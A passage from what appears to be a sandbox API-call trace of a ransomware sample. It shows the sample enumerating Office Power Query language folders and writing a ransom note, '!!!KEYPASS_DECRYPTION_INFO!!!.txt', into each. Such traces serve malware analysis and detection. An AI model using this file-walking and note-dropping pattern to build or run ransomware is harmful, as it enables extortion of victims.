GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.784] WriteFile (in: hFile=0x794, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.785] WriteFile (in: hFile=0x794, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.785] CloseHandle (hObject=0x794) returned 1 [0249.786] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ur\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffa70 [0249.786] FindNextFileW (in: hFindFile=0x38ffa70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.786] FindNextFileW (in: hFindFile=0x38ffa70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.786] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ur\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.786] FindNextFileW (in: hFindFile=0x38ffa70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.786] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ur\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.786] FindNextFileW (in: hFindFile=0x38ffa70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.786] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ur\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.786] FindNextFileW (in: hFindFile=0x38ffa70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.786] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ur\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.786] FindNextFileW (in: hFindFile=0x38ffa70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.786] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ur\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.786] FindNextFileW (in: hFindFile=0x38ffa70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.786] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ur\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.786] FindNextFileW (in: hFindFile=0x38ffa70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.786] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.786] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.787] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.787] GetLastError () returned 0x3f0 [0249.787] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uz-Latn-UZ\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uz-Latn-UZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.787] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uz-Latn-UZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uz-Latn-UZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\uz-latn-uz\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0249.813] GetFileType (hFile=0x798) returned 0x1 [0249.813] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.813] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.813] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.813] WriteFile (in: hFile=0x798, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.814] WriteFile (in: hFile=0x798, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.814] CloseHandle (hObject=0x798) returned 1 [0249.815] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uz-Latn-UZ\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffab0 [0249.815] FindNextFileW (in: hFindFile=0x38ffab0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.815] FindNextFileW (in: hFindFile=0x38ffab0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.815] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uz-Latn-UZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.815] FindNextFileW (in: hFindFile=0x38ffab0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.815] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uz-Latn-UZ\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.815] FindNextFileW (in: hFindFile=0x38ffab0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.815] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uz-Latn-UZ\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.815] FindNextFileW (in: hFindFile=0x38ffab0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.815] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uz-Latn-UZ\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.815] FindNextFileW (in: hFindFile=0x38ffab0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.815] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uz-Latn-UZ\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.815] FindNextFileW (in: hFindFile=0x38ffab0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.815] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uz-Latn-UZ\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.815] FindNextFileW (in: hFindFile=0x38ffab0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.815] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.815] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.815] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.815] GetLastError () returned 0x3f0 [0249.815] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.815] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\vi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78c [0249.859] GetFileType (hFile=0x78c) returned 0x1 [0249.860] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.860] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.860] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.860] WriteFile (in: hFile=0x78c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.861] WriteFile (in: hFile=0x78c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.861] CloseHandle (hObject=0x78c) returned 1 [0249.861] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffb30 [0249.861] FindNextFileW (in: hFindFile=0x38ffb30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.861] FindNextFileW (in: hFindFile=0x38ffb30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.861] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.862] FindNextFileW (in: hFindFile=0x38ffb30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0249.862] FindNextFileW (in: hFindFile=0x38ffb30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.862] FindNextFileW (in: hFindFile=0x38ffb30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.862] FindNextFileW (in: hFindFile=0x38ffb30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.862] FindNextFileW (in: hFindFile=0x38ffb30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.862] FindNextFileW (in: hFindFile=0x38ffb30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.862] FindNextFileW (in: hFindFile=0x38ffb30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0249.862] FindNextFileW (in: hFindFile=0x38ffb30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.862] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0249.862] FindNextFileW (in: hFindFile=0x38ffb30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.863] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0249.863] FindNextFileW (in: hFindFile=0x38ffb30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.863] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.863] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.863] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.863] GetLastError () returned 0x3f0 [0249.863] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.863] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\zh-hans\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x79c [0249.896] GetFileType (hFile=0x79c) returned 0x1 [0249.903] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.903] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.904] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.904] WriteFile (in: hFile=0x79c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.904] WriteFile (in: hFile=0x79c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.905] CloseHandle (hObject=0x79c) returned 1 [0249.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffc30 [0249.905] FindNextFileW (in: hFindFile=0x38ffc30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.905] FindNextFileW (in: hFindFile=0x38ffc30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.905] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.905] FindNextFileW (in: hFindFile=0x38ffc30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.905] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0249.905] FindNextFileW (in: hFindFile=0x38ffc30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.905] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.905] FindNextFileW (in: hFindFile=0x38ffc30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.905] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.906] FindNextFileW (in: hFindFile=0x38ffc30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.906] FindNextFileW (in: hFindFile=0x38ffc30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.906] FindNextFileW (in: hFindFile=0x38ffc30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.906] FindNextFileW (in: hFindFile=0x38ffc30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0249.906] FindNextFileW (in: hFindFile=0x38ffc30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0249.906] FindNextFileW (in: hFindFile=0x38ffc30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0249.906] FindNextFileW (in: hFindFile=0x38ffc30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.906] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.906] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.906] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.906] GetLastError () returned 0x3f0 [0249.906] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.906] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\zh-hant\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a0 [0249.923] GetFileType (hFile=0x7a0) returned 0x1 [0249.923] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.923] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.923] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.924] WriteFile (in: hFile=0x7a0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.924] WriteFile (in: hFile=0x7a0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.924] CloseHandle (hObject=0x7a0) returned 1 [0249.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffd30 [0249.925] FindNextFileW (in: hFindFile=0x38ffd30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.925] FindNextFileW (in: hFindFile=0x38ffd30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.925] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.925] FindNextFileW (in: hFindFile=0x38ffd30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.925] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0249.925] FindNextFileW (in: hFindFile=0x38ffd30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.925] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.925] FindNextFileW (in: hFindFile=0x38ffd30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.925] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.925] FindNextFileW (in: hFindFile=0x38ffd30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.926] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.926] FindNextFileW (in: hFindFile=0x38ffd30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.926] PathFindExtensionW 